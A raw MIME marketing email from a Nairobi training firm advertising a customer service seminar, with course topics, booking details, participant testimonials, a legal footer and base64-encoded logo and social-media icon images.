rgb(255, 0, 0);">Key Topics Include</span></h3> <h4>Customer Service - What Is It?</h4> <ul> =09<li>What is customer service?</li> =09<li>Service as a competitive weapon</li> =09<li>Quality from the customers&rsquo; perspective</li> =09<li>Exceeding customer expectations</li> =09<li>Customer service value</li> =09<li>Case study of good customer service</li> </ul> <h4>Communication Skills</h4> <ul> =09<li>Face to face communication</li> =09<li>Telephone manner/etiquette</li> =09<li>Body language</li> =09<li>Non-verbal communication</li> =09<li>Questioning techniques</li> =09<li>Active listening</li> </ul> <h4>Handling Difficult People and Situations</h4> <ul> =09<li>Types of difficult situations</li> =09<li>Handling difficult people</li> =09<li>Complaints management</li> =09<li>When they want to talk to the manager</li> =09<li>Letting off steam</li> =09<li>Separating people from issues</li> =09<li>Not taking it personally</li> =09<li>Having the right attitude to complaints</li> </ul> <h4>Customer Behavioral Styles</h4> <ul> =09<li>Personality types</li> =09<li>Adjusting styles for better communication</li> =09<li>Motivating factors</li> =09<li>What annoys each style</li> </ul> <h4>Stress Management and Self Motivation</h4> <ul> =09<li>What causes you stress?</li> =09<li>Identifying your stress symptoms</li> =09<li>Stress busters</li> =09<li>Self motivation - what can I do?</li> =09<li>Positive attitudes</li> =09<li>Changing your self-talk</li> </ul> <hr /> <p><span style=3D"color: rgb(255, 0, 0);"><strong>Call Marie or Jane for Re= servations on our telephone lines below or pay us a visit at our offices.</= strong></span></p> <p><strong>Phone:</strong> +254-20-230-8975, Safaricom: +254-718-860-470, A= irtel: +254-788-514-041</p> <p><strong>OR email us on:</strong> bookings@maxsmithgroup.com</p> <p><strong>OR click the following link to reserve a spot online:&nbsp;</str= ong></p> <h3><a href=3D"http://maxsmithgroup.com/bookings-form?course=3DCustomer%20S= ervice%20for%20Frontline%20Staff"><span style=3D"color: rgb(255, 102, 0);">= Reserve your spot now, Limited slots available</span></a></h3> <p>Get an extra slot absolutely FREE for every three reservations made.</p> <p>Get 5% discount on advance (2 weeks before the event) bookings and payme= nts.</p> <hr /> <h3><strong>What others who participated in this seminar had to say:</stron= g></h3> <p><strong>NAME:</strong> Richard Owuor Odhiambo<br /> <strong>ORGANIZATION:</strong> Kenya Ports Authority<br /> <strong>POSITION/RESPONSIBILITY:</strong> ICT Support Officer<br /> <strong>RICHARD&#39;S VIEW:</strong> Being an ICT officer whatever I have a= chieved is of much importance to me as a person and will make me add more v= alue to our organization to enable it achieve its main VISION and MISSION w= hich is to be &ldquo;A WORLD SEAPORT OF CHOICE BY THE YEAR 2030&rdquo;</p> <p>--------------</p> <p><strong>NAME:</strong> Kevin Kori<br /> <strong>ORGANIZATION:</strong> Millward Brown E.A Ltd.<br /> <strong>POSITION/RESPONSIBILITY:</strong> Administration &ndash; Internal/E= xternal Customer Care<br /> <strong>KEVIN&#39;S THOUGHTS:</strong> I am glad to have been in this semin= ar where the instructor is friendly, interactive, engaging and listens to e= veryone. I learnt from her and also from others in the group. It&rsquo;s be= en interesting and I have learnt a lot; to put into practice my role. I wou= ld recommend to&nbsp;many.</p> <p>--------------</p> <p><strong>NAME:</strong> Mourine Magero<br /> <strong>ORGANIZATION:</strong> Express Shipping and Logistics (E.A) Ltd.<br= /> <strong>POSITION/RESPONSIBILITY:</strong> Administration Officer<br /> <strong>WHAT MOURINE FELT:</strong> Have learnt a lot and will deliver serv= ices. Instructor was friendly. She was very welcoming person. To encourage = her to do more to others as she did to us.</p> <p>--------------</p> <p><strong>NAME:</strong> Catherine<br /> <strong>ORGANIZATION:</strong> Kenya Ports Authority<br /> <strong>POSITION/RESPONSIBILITY:</strong> ICT Support Officer<br /> <strong>YOUR TESTIMONY:</strong> The course outline was relevant and up to = date. It was well organized and hope to have more courses with your organiz= ation in future. The lecturer was kind and easy to understand (fluent). Job= well done!</p> <p>-------------</p> <p><strong>NAME:</strong> Esther Wangeci Muturi<br /> <strong>ORGANIZATION:</strong> Swissport Cargo Services<br /> <strong>POSITION/RESPONSIBILITY:</strong> Accounts Assistant<br /> <strong>YOUR TESTIMONY:</strong> The Customer Service training was very ben= eficial, interactive, entertaining, educative .Especially the trainer was v= ery knowledgeable of what she was teaching. Well done.</p> <p>-------------</p> <p><strong>NAME:</strong> Carole Muema<br /> <strong>ORGANIZATION:</strong> GS1<br /> <strong>POSITION/RESPONSIBILITY:</strong> Membership and Communication<br /= > <strong>YOUR TESTIMONY:</strong> It was very informative and interactive se= ssion.Learnt so much about how to handle different issues and people in gen= eral. Made a lot of friends which indeed expanded my network.</p> </td> </tr> </table> <table width=3D"650" border=3D"0" cellspacing=3D"0" cellpadding=3D"5"= > <tr> <td width=3D"640" height=3D"50" align=3D"center" valign=3D"top" b= gcolor=3D"#FFFFFF" style=3D"color:#000; font-family:'Trebuchet MS', Arial, = Helvetica, sans-serif; font-size:13px; border-top:3px solid #069;">&copy; 2= 014. Maxsmith Group Limited. All Rights Reserved.<br /> Windsor House, University Way, 4th Floor. P.O Box 399 - 01001, Nairobi, Ken= ya.<br /> Phone : +254-20-230-8975 Safaricom: +254-718-860-470 Airtel: +254-788-514-0= 41<br /> Email: <u>info@maxsmithgroup.com</u> Website: <u>www.maxsmithgroup.com</u><= br /></td> </tr> </table> <table width=3D"650" border=3D"0" cellspacing=3D"0" cellpadding=3D"5"= > <tr> <td width=3D"640" height=3D"50" align=3D"center" valign=3D"top" b= gcolor=3D"#CCCCCC" style=3D"color:#000; font-family:'Trebuchet MS', Arial, = Helvetica, sans-serif; font-size:11px; text-align:center;"><span style=3D"c= olor:#000; font-family:'Trebuchet MS', Arial, Helvetica, sans-serif; font-s= ize:13px;">--<br />=0AIf you do not want to receive any more newsletters, = <a href=3D"http://mglcoaching.com/emarketing/?p=3Dunsubscribe&amp;uid=3D598= a11a1bca01dc5ad9d777002e81865">Unsubscribe</a><br />=0A<br />=0ATo update y= our preferences and to unsubscribe visit <a href=3D"http://mglcoaching.com/= emarketing/?p=3Dpreferences&amp;uid=3D598a11a1bca01dc5ad9d777002e81865">thi= s link</a><br />=0A<br />=0AForward a Message to Someone <a href=3D"http://= mglcoaching.com/emarketing/?p=3Dforward&amp;uid=3D598a11a1bca01dc5ad9d77700= 2e81865&amp;mid=3D12">this link</a></span></td> </tr> </table> <table width=3D"650" border=3D"0" cellspacing=3D"0" cellpadding=3D"5"= > <tr> <td width=3D"640" height=3D"100" valign=3D"top" bgcolor=3D"#FFFFF= F" style=3D"color:#000; font-family:'Trebuchet MS', Arial, Helvetica, sans-= serif; font-size:11px; text-align:justify;">Disclaimer &amp; confidentialit= y note: Everything in this e-mail and any attachments relating to the offic= ial business of MaxSmith Group is proprietary to the Company. It is confide= ntial, legally privileged and protected by law. MaxSmith Group does not own= and endorse any other content. Views and opinions are those of the sender = unless clearly stated as being that of MaxSmith Group or its subsidiaries a= nd associated companies. The person addressed in the e-mail is the sole aut= horised recipient. MaxSmith Group can not assure that the integrity of this= communication has been maintained nor that it is free of errors, virus, in= terception or interference. Although this e-mail and any attachments are be= lieved to be free of any virus or other defect which might affect any compu= ter system, it is the responsibility of the recipient to check that it is v= irus-free and the sender accepts no responsibility or liability for any los= s, injury, damage, cost or expense arising in any way from receipt or use t= hereof by the recipient.</td> </tr> </table></td> </tr> </table></td> </tr> </table> =0A<img src=3D"http://mglcoaching.com/emarketing/ut.php?u=3D598a11a1bca01dc= 5ad9d777002e81865&amp;m=3D12" width=3D"1" height=3D"1" border=3D"0" /></bod= y> </html> --b2_ea6df1e7cff60e3af9c6d0cbae9552bc Content-Type: image/png; name="MaxsmithV5.png" Content-Transfer-Encoding: base64 Content-ID: <75c32ed0822a10bb21a8b298d766a6c2> Content-Disposition: inline; filename="MaxsmithV5.png" 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 --b2_ea6df1e7cff60e3af9c6d0cbae9552bc Content-Type: image/png; name="facebook.png" Content-Transfer-Encoding: base64 Content-ID: <efdc4764e2adfcdfb5718432f768969e> Content-Disposition: inline; filename="facebook.png" iVBORw0KGgoAAAANSUhEUgAAADIAAAA/CAYAAACioZtvAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ bWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6 eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0 NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJo dHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlw dGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv IiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RS ZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpD cmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoV2luZG93cykiIHhtcE1NOkluc3RhbmNl SUQ9InhtcC5paWQ6NTVFNEExNzJCNjgxMTFFMjkxNzg4MjQ1OTFCNTk0OEYiIHhtcE1NOkRvY3Vt ZW50SUQ9InhtcC5kaWQ6NTVFNEExNzNCNjgxMTFFMjkxNzg4MjQ1OTFCNTk0OEYiPiA8eG1wTU06 RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo1NUU0QTE3MEI2ODExMUUyOTE3 ODgyNDU5MUI1OTQ4RiIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo1NUU0QTE3MUI2ODExMUUy OTE3ODgyNDU5MUI1OTQ4RiIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1w bWV0YT4gPD94cGFja2V0IGVuZD0iciI/PuMk83oAAAbbSURBVHja7FpZTFRXGP5mhtkXZIYZ9k1E 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 --b2_ea6df1e7cff60e3af9c6d0cbae9552bc Content-Type: image/png; name="rss.png" Content-Transfer-Encoding: base64 Content-ID: <5d005a3fabef3701de62f4a7aa383ca7> Content-Disposition: inline; filename="rss.png" iVBORw0KGgoAAAANSUhEUgAAADIAAAA/CAYAAACioZtvAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ bWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6 eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0 NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJo dHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlw dGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv IiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RS ZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpD cmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoV2luZG93cykiIHhtcE1NOkluc3RhbmNl SUQ9InhtcC5paWQ6NDdBQTFBMTJCNkE0MTFFMkIyMDU4QThENzhBMzVENEEiIHhtcE1NOkRvY3Vt ZW50SUQ9InhtcC5kaWQ6NDdBQTFBMTNCNkE0MTFFMkIyMDU4QThENzhBMzVENEEiPiA8eG1wTU06 RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo0N0FBMUExMEI2QTQxMUUyQjIw NThBOEQ3OEEzNUQ0QSIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo0N0FBMUExMUI2QTQxMUUy QjIwNThBOEQ3OEEzNUQ0QSIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1w bWV0YT4gPD94cGFja2V0IGVuZD0iciI/PuqR9G4AAAr+SURBVHja7FoLcFTVGf7uazcb8gATwiNA GoQEtEHlFcTiUASUoo6tCBYcK0xby9gqtGNbtQ46nWmxtlXHtlYqFEREhoIFdFrA+ggBRQchxDG8 E5AgCSSRkNfu3ntPv3PuGrPZaDfUzSQON3OzN3sfOd/5///7/+8/VxNCnACQhp673VNeXr7G5EFf 7kk9FUVxcbHv5ptvhs7jYA+2BpYuXZpcV1cHM+aMHeIv0T1HLTgu0wdoeutXWVlZAfkZDSQcRMtz t0LUV/GMv/vhOHcK/nnLYORPbfu1GwuElhDnPlY3wAp0PyC15KVQc4fnYl3LSvJAWN0w/n3JgG50 eErHV2T7ygAx44NLc7achwg28NhUf2uSDOSuaT0ISLARWv8RMDIvhWipJ6h6Bt5HcOs/Jmc4Hqgv 8N9uA0Scr4Y5dTF81/4EIkzWCDXB5XfOmcMQZysgasrhHikCGs54HC8BGb4utVZ8FpG0LLwkqSlG C8DolQG9/8gIkzsQdSdgl++C8+E2iJN7PVA6wfh7ybsSnmTjAyJn2Q6qobSdY61NDGkZubDkPnYe 3OPvIvzeiwT1LwVIS+7Da6yEgokPiIwDf0o7G0WDagvMyBkPjbtz7DY4xc/CLdvGGOrl5SaRGDBx 0a/mC8CtOQ7n7FG4DWchnDC0OB5sDb0GvnnLYdz0ayD5EqD5XMKAxGeRlCy4H7yK0JEd9DLeEkiH wfiQ7qT1y4c++Cpogd4dgtMNC76JP4CdWwj7nw/CLd8NrVcfj8a7Po/oqqBE80m4wvWCv3K/NxjD gJ45HHreZBhX3AK977Do+IkcWwNGwZi7DMHND8AtfQVaSiZPGF3NWvCo1DD5oXsAtEhZzd2tKoNz /D04e9ZBL7gRZuGdMGitmPlIHwjfrKcQsnrB3beRYDK+NFeLr0RxHJXwtN7ZdKvetE6zSpKSySAt RPfRUjMhGmtg/+cJBJffjuA7K1s5qu2nwfv9s56EQcDi/NkuToj1p2FO+xmsq7/PcdtMhIcgTuyB OH0ArnSx88wZgmDJbBKsyimbHmA+2Qfr+gdhpGZFuZtOcWR+53G4UjKQqrWUvl1Fv2HFOnr6ADWr ep/BQN510AjKrT4Eu+Rl2AdfhzhVynIlwGDOUFZz3l+nShnfLb+FkZUXRd5mgAE/8xGEXpgPNH0C JKV1gWuphNjSmjs+3WWs6P0vg+/6h+CfvxbWlPsY1czmjXUqZ2hJ6RDM9sFVd8KuOhCTccyccTBp MSGH4dhdVMb/D4aR7mNNfwjmnaugDcj3wMh7mNXFmaMIr7vHk9DtddzYuTALZtCCLR2k2EQAYRJU gf1FWKWIy50I311roOdPgWioplu6JIK+Kl6Cm3/JorMl9p5pv2CuyvT+R0Ize2o/OKWbEFy9AMF1 P0Zox19hMx4cu6Vj66QNgDXnT9BHTvPAyAlgQDtMqvY7f4+tuDKGwrjqVoim2guumOMLdot6o74a bl2l9/f+TZzGAPTcCRCF34ORf107p6DXk2Z9s55gxV9La5SQtvswZtJgFz0DnaWLkT0qyirm2O+q PCS1jtI2CXEtmbRkEoyU8EhKVQTglL2GEAM5uOE+uI1n2+QMjT8Ek9IP5rcfB2ghlXOoUVwCs3c8 E2MVI5NWuZJWaTnXxZqdQFTNRGs5xSsQfGEBnJqKNpbR1LExoADG5Hvp/6HIbSacQ2/CqXg71iWH T2LJf4liyMQDCVK7U2PIHc10A5M02ycb7rG3EfrHIlbH1THBbI2ZTTcshGj23EbGjfP+htjB5BRC G3QlBBVoAoHQWZpIqUyGxsipZKXrGKQ53uDk7DOYZZYOv/ooicqJAqJbLG9Is3AiJQ01vnt8D5y6 U9H/gWpS7z8i4s5uIhKipixhDPuG0hf+u9bCv2AtfHdQa+RdSw1/3ruOJYpduoVB+2IsqwxjdcwE KDWJFkiD+3EJnANbY6yn9RvhxWCbyfjSgMg2kJKys/4IM6LTGSEws/Jh3fokE+DXveY3/V9jLNhk H7dda9PoxRInj7lFXic0T+dTqMUE/aXXQJclTidzSnwWoUvpl89grTU4RmvIjG6Mu+Mzv/alwD1Z CvvDf8calswEWkPWblI6u9UHOUn10QPqPchjxk6W93GW8ZwdqR0+7yGquhXeblp0w3oKr72x1w26 gtXxQE+kmQx6AsG5ymjrS5eSILREBLucoaojHfZAZEg6LAy9LkmknOSxqOJs29FrSHqfIdDT+nOc jqc6G8+RwWraPdBNXB6RstQp2Qj7g1eiwMhj9whzwvvrVYOi9XrmFveTU3ClTomqOwk2OcNjJBKI AtSOnXTZB5PFZieFY3wlCjOyDHh784MqQA0WhkI3mDt2wn17JV2pwWv3tD6VJQ1n2j38FrSvMX8E PVYTcrWJJKDJLqS0nKwOTuxjYs2i9Zo9ipdFpbSkricACGdNkwNtaYDzxtPM5H/zvpcZWPp0WxAR 4NLPw1t/g7Bsn34665LGpf9HemQy4O3iZ2Hveu4zQaz6AG6nF5o60ZMRkQab+xk1qi6K7/Nzj6BY ssNteE54btO2wpXuFXUNLqgZ3vnmklSL8TKKGnQ8z/v/l2kurlh1t81srztE3UfcTyrh1N029yyr h1BjHEBIj1LVIdikWqHdbRNkTT1nfBxAyBYmVdrFGLkI5CKQz0+I8l2U0PbfsTKtUcsIcpHHpNgx Cm6CqOe5159i+X1IEYNcGDWvXQhx5hhsFpVeyW+zFpsAa9rPY2VNUxOSkpJYRumJB6JRyYnTH3qK cNJCRXf23g2q2eAc2wW36hB80++H1jdPtTnduuMIvfIwzMn3wrxsusd4HTSkt2zZgj179mDx4sVI T0/v9EBXrVyJ0WPGoKCgIM4SRVauUvWNnK6EkPI/Vrx22XaCy2F55VcqUO+XHynZOcPZo9QCkJae HbNoqvp5+/ejpKQEkyZNUiAqKirkm2/qeObMmcpCDQ0N2LZ1K1qCQUybOhV9s7JQU1OD17ZvRyMt WVFejqtGj+5MrSWU4gu/u5oudFg13mSCNMfNg1lwI+wD22HvozbZvwnW1QsUCP+cvyC8cxlCL9+v VnTNq+dHPfFVWuPQwYOYOHGissq6l17C0KFD1UDXrl2L0Rzg6uefR0ZmJtJSU7Fx40YUTpiAl3hd IODJ3urqaqTyXKeCXUS0QnjfBrhHi5E0588KhEI+Yhr8s5+GkT8FobdY0pdtg5bWD74ZD8P65iI4 J/citPlXUcsEk6dMQXrv3hhD15AuIsEkcYC2bePFNWuwfPlyFBUVwTJNZZ3du3fj0Ucegd/nw5Il S7CExykpKQiHw50AIvUF48EaczsCi96AOXo2A/wP3stokTcc3NNlMAaPhp58CZzDb6pXPNzTB9Q7 Kebl31LS162taH3k4CFDkJaWpgYuZ3x8YSFMDjo7OxtLH3sMecOHK/+X7uT3+/GjhQsxd+5cVNEK ++mSu3buRFVVVevbF/GxlkvW4WCM7AIlpqwpixEuXqYWOw1aw2GsOEd2eC1TylLpRk7lPtUHBsEK ahRzzBzobRZDz3BAcpduct+iRVi/fj0OlJUxrjSMHzcOP7z7bqygVUpLS2HQIhLgbbNnI5XgV6xY gSE5Obj+hhuUVb6gPy0+EQneKisrxY6iooQ8e/78+T+9MGF1AdvAgQPVfjGzxwkkvScDIImkfOpa vyefp5KzA5F+W4/aSNWypZmM2tpajBo1qicbRXrUIC03Nxfl5eXSGrK5a/dAILJP4/5XgAEACTUC YaN2FZoAAAAASUVORK5CYII= --b2_ea6df1e7cff60e3af9c6d0cbae9552bc Content-Type: image/png; name="twitter.png" Content-Transfer-Encoding: base64 Content-ID: <34791dbb55303aca0cdba665c8b56a5f> Content-Disposition: inline; filename="twitter.png" iVBORw0KGgoAAAANSUhEUgAAADIAAAA/CAYAAACioZtvAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ bWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6 eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0 NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJo dHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlw dGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv 